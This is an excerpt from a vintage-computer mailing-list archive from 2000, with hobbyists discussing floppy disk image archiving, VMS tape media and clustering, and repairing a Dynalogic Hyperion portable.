insist!), etc. > > Can I encode mine on knotted string? My mother has a box with an *awful* > lot of string. Should I use the thicker string for DD disk archives? Sure! The Incas did (ever heard of the Quipu?) Sellam International Man of Intrigue and Danger ------------------------------------------------------------------------------- Looking for a six in a pile of nines... Coming soon: VCF 4.0! VCF East: Planning in Progress See http://www.vintage.org for details! From mgregory at vantageresearch.com Wed May 31 18:27:48 2000 From: mgregory at vantageresearch.com (Mark Gregory) Date: Sun Feb 27 18:52:11 2005 Subject: Defining Disk Image Dump Standard Message-ID: <01d901bfcb57$d4f9d7c0$0200a8c0@marvin> -----Original Message----- From: Pete Turnbull To: classiccmp@classiccmp.org Date: Wednesday, May 31, 2000 5:14 PM Subject: Re: Defining Disk Image Dump Standard >On May 31, 19:12, Tony Duell wrote: > >> In any case, for the thime, we are discussing archive format to be >> used to store images of these floppies. Store them on something other >> than floppies. Like hard disks, CD-ROMs, EPROMs (if you insist!), etc. > >Can I encode mine on knotted string? My mother has a box with an *awful* >lot of string. Should I use the thicker string for DD disk archives? > If you want increase your data storage capacity, you could colour code the string, too. Everything old is new again ... we've just re-invented the Inca quipu, a few centuries on. Regards, Mark. From chris at mainecoon.com Wed May 31 18:31:07 2000 From: chris at mainecoon.com (Chris Kennedy) Date: Sun Feb 27 18:52:11 2005 Subject: Finds References: <200005312311.TAA01695@bg-tc-ppp903.monmouth.com> Message-ID: <3935A0BB.4DC58CF8@mainecoon.com> Bill Pechter wrote: > Well, the x86 Solaris doesn't seem as solid as the Sparc version... > (at least at v7... I haven't run v8 yet at home). Eh? I run 2.7 on both Sparc and x86 machines, and both are absolutly reliable. I have a bunch of customers where Solaris X86 machines are used in mission critical settings precisely because they're demonstrably as reliable as Sparc hardware and win hands-down from a price-performance standpoint. Despite the fact that I'm typing this on my dual hypersparc running 2.8, the only reason we deploy Sparcs these days is when we're using third-party code that's only available on the Sparc. > And if you support Solaris Sparc at work a home system for a testbed > is a good thing. Yep; that's why I have some of each -- although the number of things that we work with which are only available for Sparc Solaris are dwindling. -- Chris Kennedy chris@mainecoon.com http://www.mainecoon.com PGP fingerprint: 4E99 10B6 7253 B048 6685 6CBC 55E1 20A3 108D AB97 From vaxman at uswest.net Wed May 31 18:43:33 2000 From: vaxman at uswest.net (Clint Wolff (VAX collector)) Date: Sun Feb 27 18:52:11 2005 Subject: VMS media availability for VAX 8530 In-Reply-To: <4.3.2.7.2.20000531100030.02bac3c0@208.226.86.10> Message-ID: I've copied VMS 5.? onto 9-track tape for my '750. The only major problem is booting standalone backup. 9-tracks aren't bootable (or at least I've never seen a boot program that worked for them). clint On Wed, 31 May 2000, Chuck McManis wrote: > At 10:11 AM 5/31/00 -0400, you wrote: > >I've got VMS 2.something on 8" floppies, and VMS 5.something on TK-50 tapes, > >but that's it. There might be a way to finagle VMS onto the 9 track or 5.25" > >media from the current OpenVMS distro on CD. > > An interesting question. I've VMS 4.x, 5.x, 6.x, and 7.x distributions on > various media but none on 9-trk. I tried to get one recently but it had > already been thrown away (youch!). So is it possible for VMS to _create_ > distribution media? Can you clone from one type to another? I could, > presumably create a 9 track tape with the save sets on them and then create > one with standalone backup so that you could boot standalone backup, and > then copy the save sets. Would that be sufficient? (Unfortunately my TU81+ > is out for the count, no doubt another one will tumble this way.) > > --Chuck > > > From jpl15 at netcom.com Wed May 31 18:42:04 2000 From: jpl15 at netcom.com (John Lawson) Date: Sun Feb 27 18:52:11 2005 Subject: OT: Archiving data (LONG) In-Reply-To: Message-ID: On Wed, 31 May 2000, Sellam Ismail wrote: > On Wed, 31 May 2000 CLASSICCMP@trailing-edge.com wrote: > > > I think mike was talking about storing data on photographic film, like [snip] > > Yes, but how long can we expect the film to last? Direct research data from the realm of film preservation and restoration suggests that, for properly manufactured and properly processed Estar-based films, useable life is over 150 years, given reasonable (office environment) storage. Some benefits are good info density, very simple electro-optical reading system, and a 'fail-soft' degradation mode... with well-known error correction algorithms the film can be pretty well hashed up before total data loss occurs. Interested folk can look to the Library of Congress, who are spearheading the film preservation work in this country. Cheers John From kenn at linux.ie Wed May 31 18:55:19 2000 From: kenn at linux.ie (Kenn Humborg) Date: Sun Feb 27 18:52:11 2005 Subject: VAX-11? and some C64 stuff In-Reply-To: ; from thompson@mail.athenet.net on Wed, May 31, 2000 at 03:08:44PM -0500 References: Message-ID: <20000601005519.A6859@avalon.research.wombat.ie> On Wed, May 31, 2000 at 03:08:44PM -0500, Paul Thompson wrote: > > Set the ports connected to the console(s) up as a LAT service and connect > to that service from another port on the DECserver or host. > > See help DEFINE SERVICE or SET SERVICE > > You would need to set the console connected ports up as remote access (as > opposed to local access) Bummer... I was hoping it could be done purely within the DECserver, without a another machine. Oh well... Thanks, Kenn From at258 at osfn.org Wed May 31 19:02:33 2000 From: at258 at osfn.org (Merle K. Peirce) Date: Sun Feb 27 18:52:11 2005 Subject: Info on the Dynalogic Hyperion In-Reply-To: <020401bfcb38$e0affbe0$e3d30618@sttln1.wa.home.com> Message-ID: We have one with the same problem. The Hyperion is a really nice little machine. On Wed, 31 May 2000, Leo Butzel wrote: > Looking for info on the Dynalogic Hyperion, a "portable" DOS machine > manufactures around 1983. At least the one I have is 1983. it was designed > and initially built in Ottawa, Canada. Hyperion was acquired in about 1983 > by Bytec, who was later bought by I think a Quebec company called Comterm. > Anyway, mine has stopped working: The machine still boots but no image is > displayed on its 7" diag screen. Hence I am looking for service info and/or > persons who have worked on the machine. > > Any leads would be most appreciated. > > Leo Butzel > Seattle, WA > lbutzel@home.com > > > > M. K. Peirce Rhode Island Computer Museum, Inc. 215 Shady Lea Road, North Kingstown, RI 02852 "Casta est qui nemo rogavit." - Ovid From ard at p850ug1.demon.co.uk Wed May 31 19:00:47 2000 From: ard at p850ug1.demon.co.uk (Tony Duell) Date: Sun Feb 27 18:52:13 2005 Subject: Defining Disk Image Dump Standard In-Reply-To: <10006010006.ZM13074@indy.dunnington.u-net.com> from "Pete Turnbull" at May 31, 0 11:06:34 pm Message-ID: A non-text attachment was scrubbed... Name: not available Type: text Size: 1005 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/20000601/380b1ada/attachment.ksh From eric at brouhaha.com Wed May 31 19:21:01 2000 From: eric at brouhaha.com (Eric Smith) Date: Sun Feb 27 18:52:13 2005 Subject: Defining Disk Image Dump Standard In-Reply-To: (message from Sellam Ismail on Wed, 31 May 2000 15:10:33 -0700 (PDT)) References: Message-ID: <20000601002101.6695.qmail@brouhaha.com> > What encoding method did it use? 4&4 or 6&2? I'll assume 6&2? 6&2. > > pretty good. However, there was no reason why the same performance (but > > not density) couldn't be achieved with standard sectors. The Apple /// > > SOS disk driver pioneered this, and IIRC Prodos did it as well. > > Sure, read the raw track into a buffer in memory and then process it. The > only drawback is the requirement for a relatively large buffer. No, the trick (as used in SOS, and in the Lisa I/O card ROM) is to do 1:1 interleave *without8 a track buffer. They directly denibblize as they're reading the bits from the disk. From lbutzel at home.com Wed May 31 18:36:12 2000 From: lbutzel at home.com (Leo Butzel) Date: Sun Feb 27 18:52:13 2005 Subject: Info on the Dynalogic Hyperion References: Message-ID: <024e01bfcb59$01853c20$e3d30618@sttln1.wa.home.com> Merle - Totally agree, the Hyperion is I think a nifty, handsome little creation. So, does your machine appear to boot up even though you have no image? What about the on/off switch: Does it light up when you turn the machine on? Where are you located? Will keep you posted as to my progress. Regards Leo Butzel Seattle, WA lbutzel@home.com ----- Original Message ----- From: Merle K. Peirce To: Cc: Sent: Wednesday, May 31, 2000 5:02 PM Subject: Re: Info on the Dynalogic Hyperion > We have one with the same problem. The Hyperion is a really nice little > machine. > > On Wed, 31 May 2000, Leo Butzel wrote: > > > Looking for info on the Dynalogic Hyperion, a "portable" DOS machine > > manufactures around 1983. At least the one I have is 1983. it was designed > > and initially built in Ottawa, Canada. Hyperion was acquired in about 1983 > > by Bytec, who was later bought by I think a Quebec company called Comterm. > > Anyway, mine has stopped working: The machine still boots but no image is > > displayed on its 7" diag screen. Hence I am looking for service info and/or > > persons who have worked on the machine. > > > > Any leads would be most appreciated. > > > > Leo Butzel > > Seattle, WA > > lbutzel@home.com > > > > > > > > > > M. K. Peirce > Rhode Island Computer Museum, Inc. > 215 Shady Lea Road, > North Kingstown, RI 02852 > > "Casta est qui nemo rogavit." > > - Ovid > From lbutzel at home.com Wed May 31 18:39:18 2000 From: lbutzel at home.com (Leo Butzel) Date: Sun Feb 27 18:52:13 2005 Subject: Dynalogic Hyperion (2) References: Message-ID: <025e01bfcb59$70c43d20$e3d30618@sttln1.wa.home.com> Merle - Just found your address, at the bottom of your email! Leo ----- Original Message ----- From: Merle K. Peirce To: Cc: Sent: Wednesday, May 31, 2000 5:02 PM Subject: Re: Info on the Dynalogic Hyperion > We have one with the same problem. The Hyperion is a really nice little > machine. > > On Wed, 31 May 2000, Leo Butzel wrote: > > > Looking for info on the Dynalogic Hyperion, a "portable" DOS machine > > manufactures around 1983. At least the one I have is 1983. it was designed > > and initially built in Ottawa, Canada. Hyperion was acquired in about 1983 > > by Bytec, who was later bought by I think a Quebec company called Comterm. > > Anyway, mine has stopped working: The machine still boots but no image is > > displayed on its 7" diag screen. Hence I am looking for service info and/or > > persons who have worked on the machine. > > > > Any leads would be most appreciated. > > > > Leo Butzel > > Seattle, WA > > lbutzel@home.com > > > > > > > > > > M. K. Peirce > Rhode Island Computer Museum, Inc. > 215 Shady Lea Road, > North Kingstown, RI 02852 > > "Casta est qui nemo rogavit." > > - Ovid > From richard at idcomm.com Wed May 31 20:54:52 2000 From: richard at idcomm.com (Richard Erlacher) Date: Sun Feb 27 18:52:13 2005 Subject: Defining Disk Image Dump Standard References: Message-ID: <006701bfcb6c$6c818fc0$0400c0a8@EAHOME> Yes! That's a stream of bits, blocked into a stream of bytes, and that means one thing to you and me, but quite another to Sellam. The issue is the sync-loss before and after each data field: the write splice. If you want to manufacture/synthesize a reasonable facsimile of the original you can't just depend on the "user" bytes, i.e. the data fields, but you have to preserve the sector ID fields and you have to put something meaningful in the write splices, which are, after all, sync fields. If you want to replicate a diskette precisely, you have to oversample the entire area of the diskette in which you have an interest, then store it in whatever medium you desire. The beauty of this is that once it's in the system, you can post process it, aligning the transitions in the file very precisely and allowing for the need for write-precompensation if you like, so that the product you write to the destination diskette is written in complete synchronization with the underlying format, as though it were written at once, which, of course, it will have been. I've written you off-list describing an approach to doing this very thing. Perhaps you can lend benefit of your many years' experience. Dick ----- Original Message ----- From: Tony Duell To: Sent: Wednesday, May 31, 2000 12:35 PM Subject: Re: Defining Disk Image Dump Standard > > > > If only you understood how FDD's work, Sellam! > > > > You say "> A floppy diskette is a stream of bytes. " > > > > The stuff on a diskette is not a byte stream. It's a carefully worked-out > > Well, it can certainly be represented by one.... > > Suppose we know something about the data on the disk. That it's (say) > recorded at a data rate of a maximum of 500k pulses/sec. That's to say, > pulses appear (or not) at 2uS intervals. > > Fine. We sample the read data line every 2uS, resyncing the read clock as > appropriate. We record whether or not there was a pulse (== a magnetic > transition on the disk). In the end we have a stream of _bytes_. These > are not the user bytes, they include the clock pulses, DAMs, etc. But it > is a complete representation of what's on the disk. > > Suppose we don't know anything about the format. We either sample > sufficiently fast that we record the position of each pulse to an > acceptable accuracy (which produces a large archive file, true, but it is > still a stream of bytes). Or more sensibly we say : Well, the disk goes > round once every 200ms. Pulses can't ocurr closer than 20ns. We measure > the time between the pulses (the pulse width is unimportant on every > floppy drive I've ever seen) and record it as a 24 bit number in units of > 20ns. That caters for everything from pulses closer together than any > real floppy has ever used to 1 pulse/revolution. And we record those 24 > bit nunbers as (guess what...) a stream of bytes. > > -tony > From geoffrob at stmarks.pp.catholic.edu.au Wed May 31 20:56:26 2000 From: geoffrob at stmarks.pp.catholic.edu.au (Geoff Roberts) Date: Sun Feb 27 18:52:13 2005 Subject: VMS media availability for VAX 8530 References: Message-ID: <00f101bfcb6c$98b57ac0$de2c67cb@stmarks.pp.catholic.edu.au> ----- Original Message ----- From: "Clint Wolff (VAX collector)" To: Sent: Thursday, June 01, 2000 9:13 AM Subject: Re: VMS media availability for VAX 8530 > > I've copied VMS 5.? onto 9-track tape for my '750. The only major > problem is booting standalone backup. 9-tracks aren't bootable > (or at least I've never seen a boot program that worked for them). Hmm, I'm fairly sure it's possible, but I've never tried it. (Never had to) it should be just a matter of entering the correct incantations at the console. The other problem the guy has is the lack of console o/s or the media to install it. I have all that, (POS plus the console and comms software) and VMS 6.x on 9 track, but was really hoping someone on the same continent could offer some practical assistance. Cheers Geoff Roberts Computer Systems Manager Saint Mark's College Port Pirie, South Australia geoffrob at stmarks dot pp dot catholic dot edu dot au ICQ: 1970476 From richard at idcomm.com Wed May 31 20:58:40 2000 From: richard at idcomm.com (Richard Erlacher) Date: Sun Feb 27 18:52:13 2005 Subject: Defining Disk Image Dump Standard References: Message-ID: <007301bfcb6c$e9560b20$0400c0a8@EAHOME> If you acquire the data by manifold oversampling, you can infer the speed and deviations in it from the acquired data. Fortunately, this can all be handled in software after the goodies are in captivity. You do have to have some baseline statistics, though, such as FD size. Dick ----- Original Message ----- From: Sellam Ismail To: Sent: Wednesday, May 31, 2000 2:34 PM Subject: Re: Defining Disk Image Dump Standard > > I just considered another bit of data that might be useful to store in the > Archive Header. > > If one were to have to read the raw bytes off of a track due to some > non-standard format, it would be helpful to know at what rate the disk > drive that read the disk was spinning so that if and when that archive was > used to re-create the original disk, the writing drive could be adjusted > to match the speed at which it was read. This is pretty imperative. > > A quick test can be done before the disk is read to determine the RPM. Of > course, having an optimally tuned drive would be recommended if one is to > be serious about creating software archives for posterity. > > Sellam International Man of Intrigue and Danger > -------------------------------------------------------------------------- ----- > Looking for a six in a pile of nines... > > Coming soon: VCF 4.0! > VCF East: Planning in Progress > See http://www.vintage.org for details! > > From at258 at osfn.org Wed May 31 22:29:48 2000 From: at258 at osfn.org (Merle K. Peirce) Date: Sun Feb 27 18:52:13 2005 Subject: Info on the Dynalogic Hyperion In-Reply-To: <024e01bfcb59$01853c20$e3d30618@sttln1.wa.home.com> Message-ID: Yes, the machine smakes booting sounds, so I'm convinced it's boot8ing, but the screen remains dark. I think the bulb in the power switch is burned out. I'm in Rhode Island. We have a second one that works fine, even has the carrying case. On Wed, 31 May 2000, Leo Butzel wrote: > Merle - > > Totally agree, the Hyperion is I think a nifty, handsome little creation. > So, does your machine appear to boot up even though you have no image? What > about the on/off switch: Does it light up when you turn the machine on? > Where are you located? Will keep you posted as to my progress. > > Regards > > Leo Butzel > Seattle, WA > lbutzel@home.com > > ----- Original Message ----- > From: Merle K. Peirce > To: > Cc: > Sent: Wednesday, May 31, 2000 5:02 PM > Subject: Re: Info on the Dynalogic Hyperion > > > > We have one with the same problem. The Hyperion is a really nice little > > machine. > > > > On Wed, 31 May 2000, Leo Butzel wrote: > > > > > Looking for info on the Dynalogic Hyperion, a "portable" DOS machine > > > manufactures around 1983. At least the one I have is 1983. it was > designed > > > and initially built in Ottawa, Canada. Hyperion was acquired in about > 1983 > > > by Bytec, who was later bought by I think a Quebec company called > Comterm. > > > Anyway, mine has stopped working: The machine still boots but no image > is > > > displayed on its 7" diag screen. Hence I am looking for service info > and/or > > > persons who have worked on the machine. > > > > > > Any leads would be most appreciated. > > > > > > Leo Butzel > > > Seattle, WA > > > lbutzel@home.com > > > > > > > > > > > > > > > > M. K. Peirce > > Rhode Island Computer Museum, Inc. > > 215 Shady Lea Road, > > North Kingstown, RI 02852 > > > > "Casta est qui nemo rogavit." > > > > - Ovid > > > > M. K. Peirce Rhode Island Computer Museum, Inc. 215 Shady Lea Road, North Kingstown, RI 02852 "Casta est qui nemo rogavit." - Ovid From nerdware at laidbak.com Wed May 31 23:03:43 2000 From: nerdware at laidbak.com (Paul Braun) Date: Sun Feb 27 18:52:13 2005 Subject: VAX-11? and some C64 stuff In-Reply-To: <200005312151.OAA10594@shell1.aracnet.com> References: from "Mike Ford" at May 31, 2000 01:57:21 PM Message-ID: <200006010400.e5140m607945@grover.winsite.com> From: healyzh@aracnet.com Subject: Re: VAX-11? and some C64 stuff To: classiccmp@classiccmp.org Date sent: Wed, 31 May 2000 14:51:52 -0700 (PDT) Send reply to: classiccmp@classiccmp.org > > The most important consideration would be, if it will support the system > you want to use it with. As for running a Dual Headed Mac, I'd love to! > I've used dual headed Sun's and HP's and it rocks! I believe at least one > list member is running a 9500 with 3 17" monitors! > > Zane > Will be, hopefully in a couple of weeks. Got all three vid cards, got three AppleVision-branded Trinitrons on the floor next to my desk. Just need to get the new workstation console built and everything wired in.......can someone get me three extra days next week? Paul Braun Cygnus Productions nerdware_nospam@laidbak.com From lbutzel at home.com Wed May 31 22:00:22 2000 From: lbutzel at home.com (Leo Butzel) Date: Sun Feb 27 18:52:13 2005 Subject: Info on the Dynalogic Hyperion References: Message-ID: <02b401bfcb75$876f6560$e3d30618@sttln1.wa.home.com> Your symptoms are identical to mine. Likewise have a (soft) carrying case. Have quite a wide selection of compatible software including 123, Multiplan & Rbase. ----- Original Message ----- From: Merle K. Peirce To: Cc: Sent: Wednesday, May 31, 2000 8:29 PM Subject: Re: Info on the Dynalogic Hyperion > > Yes, the machine smakes booting sounds, so I'm convinced it's boot8ing, > but the screen remains dark. I think the bulb in the power switch is > burned out. I'm in Rhode Island. We have a second one that works fine, > even has the carrying case. > > On Wed, 31 May 2000, Leo Butzel wrote: > > > Merle - > > > > Totally agree, the Hyperion is I think a nifty, handsome little creation. > > So, does your machine appear to boot up even though you have no image? What > > about the on/off switch: Does it light up when you turn the machine on? > > Where are you located? Will keep you posted as to my progress. > > > > Regards > > > > Leo Butzel > > Seattle, WA > > lbutzel@home.com > > > > ----- Original Message ----- > > From: Merle K. Peirce > > To: > > Cc: > > Sent: Wednesday, May 31, 2000 5:02 PM > > Subject: Re: Info on the Dynalogic Hyperion > > > > > > > We have one with the same problem. The Hyperion is a really nice little > > > machine. > > > > > > On Wed, 31 May 2000, Leo Butzel wrote: > > > > > > > Looking for info on the Dynalogic Hyperion, a "portable" DOS machine > > > > manufactures around 1983. At least the one I have is 1983. it was > > designed > > > > and initially built in Ottawa, Canada. Hyperion was acquired in about > > 1983 > > > > by Bytec, who was later bought by I think a Quebec company called > > Comterm. > > > > Anyway, mine has stopped working: The machine still boots but no image > > is > > > > displayed on its 7" diag screen. Hence I am looking for service info > > and/or > > > > persons who have worked on the machine. > > > > > > > > Any leads would be most appreciated. > > > > > > > > Leo Butzel > > > > Seattle, WA > > > > lbutzel@home.com > > > > > > > > > > > > > > > > > > > > > > M. K. Peirce > > > Rhode Island Computer Museum, Inc. > > > 215 Shady Lea Road, > > > North Kingstown, RI 02852 > > > > > > "Casta est qui nemo rogavit." > > > > > > - Ovid > > > > > > > > > M. K. Peirce > Rhode Island Computer Museum, Inc. > 215 Shady Lea Road, > North Kingstown, RI 02852 > > "Casta est qui nemo rogavit." > > - Ovid > From foo at siconic.com Wed May 31 22:08:24 2000 From: foo at siconic.com (Sellam Ismail) Date: Sun Feb 27 18:52:13 2005 Subject: Defining Disk Image Dump Standard In-Reply-To: <20000601002101.6695.qmail@brouhaha.com> Message-ID: On 1 Jun 2000, Eric Smith wrote: > No, the trick (as used in SOS, and in the Lisa I/O card ROM) is to > do 1:1 interleave *without8 a track buffer. They directly denibblize > as they're reading the bits from the disk. I didn't think the ][ was fast enough to do that? Sellam International Man of Intrigue and Danger ------------------------------------------------------------------------------- Looking for a six in a pile of nines... Coming soon: VCF 4.0! VCF East: Planning in Progress See http://www.vintage.org for details! From at258 at osfn.org Wed May 31 23:10:57 2000 From: at258 at osfn.org (Merle K. Peirce) Date: Sun Feb 27 18:52:13 2005 Subject: Info on the Dynalogic Hyperion In-Reply-To: <02b401bfcb75$876f6560$e3d30618@sttln1.wa.home.com> Message-ID: As I recall, ours has special software, a word processor, a comm programme, and something else - a database? We also have Multiplan and perhaps Lotus floating around. I think it is one of the nicest of the early portables. On Wed, 31 May 2000, Leo Butzel wrote: > Your symptoms are identical to mine. Likewise have a (soft) carrying case. > Have quite a wide selection of compatible software including 123, Multiplan > & Rbase. > > ----- Original Message ----- > From: Merle K. Peirce > To: > Cc: > Sent: Wednesday, May 31, 2000 8:29 PM > Subject: Re: Info on the Dynalogic Hyperion > > > > > > Yes, the machine smakes booting sounds, so I'm convinced it's boot8ing, > > but the screen remains dark. I think the bulb in the power switch is > > burned out. I'm in Rhode Island. We have a second one that works fine, > > even has the carrying case. > > > > On Wed, 31 May 2000, Leo Butzel wrote: > > > > > Merle - > > > > > > Totally agree, the Hyperion is I think a nifty, handsome little > creation. > > > So, does your machine appear to boot up even though you have no image? > What > > > about the on/off switch: Does it light up when you turn the machine on? > > > Where are you located? Will keep you posted as to my progress. > > > > > > Regards > > > > > > Leo Butzel > > > Seattle, WA > > > lbutzel@home.com > > > > > > ----- Original Message ----- > > > From: Merle K. Peirce > > > To: > > > Cc: > > > Sent: Wednesday, May 31, 2000 5:02 PM > > > Subject: Re: Info on the Dynalogic Hyperion > > > > > > > > > > We have one with the same problem. The Hyperion is a really nice > little > > > > machine. > > > > > > > > On Wed, 31 May 2000, Leo Butzel wrote: > > > > > > > > > Looking for info on the Dynalogic Hyperion, a "portable" DOS machine > > > > > manufactures around 1983. At least the one I have is 1983. it was > > > designed > > > > > and initially built in Ottawa, Canada. Hyperion was acquired in > about > > > 1983 > > > > > by Bytec, who was later bought by I think a Quebec company called > > > Comterm. > > > > > Anyway, mine has stopped working: The machine still boots but no > image > > > is > > > > > displayed on its 7" diag screen. Hence I am looking for service info > > > and/or > > > > > persons who have worked on the machine. > > > > > > > > > > Any leads would be most appreciated. > > > > > > > > > > Leo Butzel > > > > > Seattle, WA > > > > > lbutzel@home.com > > > > > > > > > > > > > > > > > > > > > > > > > > > > M. K. Peirce > > > > Rhode Island Computer Museum, Inc. > > > > 215 Shady Lea Road, > > > > North Kingstown, RI 02852 > > > > > > > > "Casta est qui nemo rogavit." > > > > > > > > - Ovid > > > > > > > > > > > > > > M. K. Peirce > > Rhode Island Computer Museum, Inc. > > 215 Shady Lea Road, > > North Kingstown, RI 02852 > > > > "Casta est qui nemo rogavit." > > > > - Ovid > > > > M. K. Peirce Rhode Island Computer Museum, Inc. 215 Shady Lea Road, North Kingstown, RI 02852 "Casta est qui nemo rogavit." - Ovid From lbutzel at home.com Wed May 31 22:44:30 2000 From: lbutzel at home.com (Leo Butzel) Date: Sun Feb 27 18:52:13 2005 Subject: Info on the Dynalogic Hyperion References: Message-ID: <02c201bfcb7b$b1a59ce0$e3d30618@sttln1.wa.home.com> Yes, I have the additional software you mentioned. Almost think the machine was ahead of it's time, very swank looking, to well made (like a tank) and to expensive. Such is often life of good ideas/creations. ----- Original Message ----- From: Merle K. Peirce To: Cc: Sent: Wednesday, May 31, 2000 9:10 PM Subject: Re: Info on the Dynalogic Hyperion > As I recall, ours has special software, a word processor, a comm > programme, and something else - a database? We also have Multiplan and > perhaps Lotus floating around. I think it is one of the nicest of the > early portables. > > On Wed, 31 May 2000, Leo Butzel wrote: > > > Your symptoms are identical to mine. Likewise have a (soft) carrying case. > > Have quite a wide selection of compatible software including 123, Multiplan > > & Rbase. > > > > ----- Original Message ----- > > From: Merle K. Peirce > > To: > > Cc: > > Sent: Wednesday, May 31, 2000 8:29 PM > > Subject: Re: Info on the Dynalogic Hyperion > > > > > > > > > > Yes, the machine smakes booting sounds, so I'm convinced it's boot8ing, > > > but the screen remains dark. I think the bulb in the power switch is > > > burned out. I'm in Rhode Island. We have a second one that works fine, > > > even has the carrying case. > > > > > > On Wed, 31 May 2000, Leo Butzel wrote: > > > > > > > Merle - > > > > > > > > Totally agree, the Hyperion is I think a nifty, handsome little > > creation. > > > > So, does your machine appear to boot up even though you have no image? > > What > > > > about the on/off switch: Does it light up when you turn the machine on? > > > > Where are you located? Will keep you posted as to my progress. > > > > > > > > Regards > > > > > > > > Leo Butzel > > > > Seattle, WA > > > > lbutzel@home.com > > > > > > > > ----- Original Message ----- > > > > From: Merle K. Peirce > > > > To: > > > > Cc: > > > > Sent: Wednesday, May 31, 2000 5:02 PM > > > > Subject: Re: Info on the Dynalogic Hyperion > > > > > > > > > > > > > We have one with the same problem. The Hyperion is a really nice > > little > > > > > machine. > > > > > > > > > > On Wed, 31 May 2000, Leo Butzel wrote: > > > > > > > > > > > Looking for info on the Dynalogic Hyperion, a "portable" DOS machine > > > > > > manufactures around 1983. At least the one I have is 1983. it was > > > > designed > > > > > > and initially built in Ottawa, Canada. Hyperion was acquired in > > about > > > > 1983 > > > > > > by Bytec, who was later bought by I think a Quebec company called > > > > Comterm. > > > > > > Anyway, mine has stopped working: The machine still boots but no > > image > > > > is > > > > > > displayed on its 7" diag screen. Hence I am looking for service info > > > > and/or > > > > > > persons who have worked on the machine. > > > > > > > > > > > > Any leads would be most appreciated. > > > > > > > > > > > > Leo Butzel > > > > > > Seattle, WA > > > > > > lbutzel@home.com > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > M. K. Peirce > > > > > Rhode Island Computer Museum, Inc. > > > > > 215 Shady Lea Road, > > > > > North Kingstown, RI 02852 > > > > > > > > > > "Casta est qui nemo rogavit." > > > > > > > > > > - Ovid > > > > > > > > > > > > > > > > > > > M. K. Peirce > > > Rhode Island Computer Museum, Inc. > > > 215 Shady Lea Road, > > > North Kingstown, RI 02852 > > > > > > "Casta est qui nemo rogavit." > > > > > > - Ovid > > > > > > > > > M. K. Peirce > Rhode Island Computer Museum, Inc. > 215 Shady Lea Road, > North Kingstown, RI 02852 > > "Casta est qui nemo rogavit." > > - Ovid > From healyzh at aracnet.com Mon May 1 00:25:01 2000 From: healyzh at aracnet.com (Zane H. Healy) Date: Sun Feb 27 18:52:13 2005 Subject: Tiny Cluster (VMS) ? In-Reply-To: <4.3.1.2.20000430205720.00b392a0@208.226.86.10> Message-ID: >Ok, so I've got two VLC's and I want to see if I can cluster them over >ethernet. This is a precursor to installing the 3400's to be a local >cluster over DSSI. What document do I start in? > >I'm guessing that I somehow need to get MOP running on the VMS system and >to tell it the ethernet address of the other VLC so that when it MOPs for >an image the cluster will respond. > >--Chuck Shared or separate system disk? That'll make a real difference. Basically just run @CLUSTER_CONFIG and follow the instructions, the worst you'll have to do is reload. Ideally though spend some time reading the cluster manuals. You can either read them online, or buy them from Compaq. The doc's can be found online at http://www.openvms.digital.com:8000 the two clustering manuals are about $30 apiece if you want paper copies. I got the basic set of doc's and the cluster manuals. I just setup the first system in my cluster to boot off of another systems disk tonite, but haven't fought LMF yet to get it licensed. When I was doing it CLUSTER_CONFIG told me how to start up MOP. Even with separate system disks on most of the cluster members I've still got a bunch of the files such as the SYSUAF.DAT file shared. Trust me, it really helps when all the cluster members are shareing the same SYSUAF! Zane | Zane H. Healy | UNIX Systems Adminstrator | | healyzh@aracnet.com (primary) | Linux Enthusiast | | healyzh@holonet.net (alternate) | Classic Computer Collector | +----------------------------------+----------------------------+ | Empire of the Petal Throne and Traveller Role Playing, | | and Zane's Computer Museum. | | http://www.aracnet.com/~healyzh/ | From pete at dunnington.u-net.com Mon May 1 03:36:35 2000 From: pete at dunnington.u-net.com (Pete Turnbull) Date: Sun Feb 27 18:52:13 2005 Subject: Classic Databooks and Manuals available In-Reply-To: James Willing "Classic Databooks and Manuals available" (Apr 30, 19:21) References: <3.0.3.32.20000430192151.009af890@agora.rdrop.com> Message-ID: <10005010936.ZM1208@indy.dunnington.u-net.com> Hi, Jim. On Apr 30, 19:21, James Willing wrote: > Trying to clear some space in the 'Garage' yet again Ha! Tell me about it -- today and next weekend I have to completely empty mine, so the builders can start alterations (and the only reason I even considered it, is that the end result will include a proper raised floor and a computer room / workshop that's completely separate from the gardening tools). > General Instruments Microelectronics Data Catalog - 1982 I'd like this one. The only slight problem is getting money across the Atlantic, since Europe's banking system does't seem to talk well to the USA. I think the best way (I assume you have no way to take payment from a Mastercard or Visa card) is just to airmail you a few bills. Would that be acceptable? What do you reckon for postage? The last few books I got from US booksellers cost $2 - $3 each, using some low-cost UPS option. -- Pete Peter Turnbull Dept. of Computer Science University of York From allisonp at world.std.com Mon May 1 07:34:31 2000 From: allisonp at world.std.com (allisonp@world.std.com) Date: Sun Feb 27 18:52:13 2005 Subject: 11/23+ question In-Reply-To: <200005010311.XAA23327@world.std.com> Message-ID: On Sun, 30 Apr 2000, Megan wrote: > > >>part number 010-01135-00 rev b etched on it. > > > >I don't see that part number in my indices, but it certainly sounds like > >it may be a DEC part number. With the FIFO and the UART, it obviously > > DEC part numbers are 2-5-2 numbers -- two digits, five digits, two digits. > So with this being 3-5-2, it doesn't appear on the face of it to be a > DEC part number. But the board numbers will tell... No question about it, its not DEC. Assuming hte leading 0 is extra, 10 class parts are neither boards, board assemblies or system components. For a board I'd expect 54-class or maybe 70-class for a subassembly. Class numbers are the first two disgits of the 2-5-2. For example class-21 parts are rams, roms, proms, eproms and cpus, 99 class is hardware. Allison From allisonp at world.std.com Mon May 1 07:40:23 2000 From: allisonp at world.std.com (allisonp@world.std.com) Date: Sun Feb 27 18:52:13 2005 Subject: Tiny Cluster (VMS) ? In-Reply-To: <4.3.1.2.20000430205720.00b392a0@208.226.86.10> Message-ID: On Sun, 30 Apr 2000, Chuck McManis wrote: > to tell it the ethernet address of the other VLC so that when it MOPs for > an image the cluster will respond. There is no "mop running". what you have to do is basically set up the system so that if it sees a boot request (MOP load) that is knows the MAC address of the requestor and the image to down load (sysboot). Once sysboot is running it switches to DECNET and if everything is set right the needed files can be accessed and boot will occur. You have the option of running as a full cluster member (LAVC) or you can run as a diskless client. The difference is mostly management and handeling client privs. I've used mop to run standalone backup (STABACKIT) from the host rather than boot VMS and use backup to copy the image to the target disk. Of course if there is no target disk then boot VMS. Allison From allisonp at world.std.com Mon May 1 07:43:24 2000 From: allisonp at world.std.com (allisonp@world.std.com) Date: Sun Feb 27 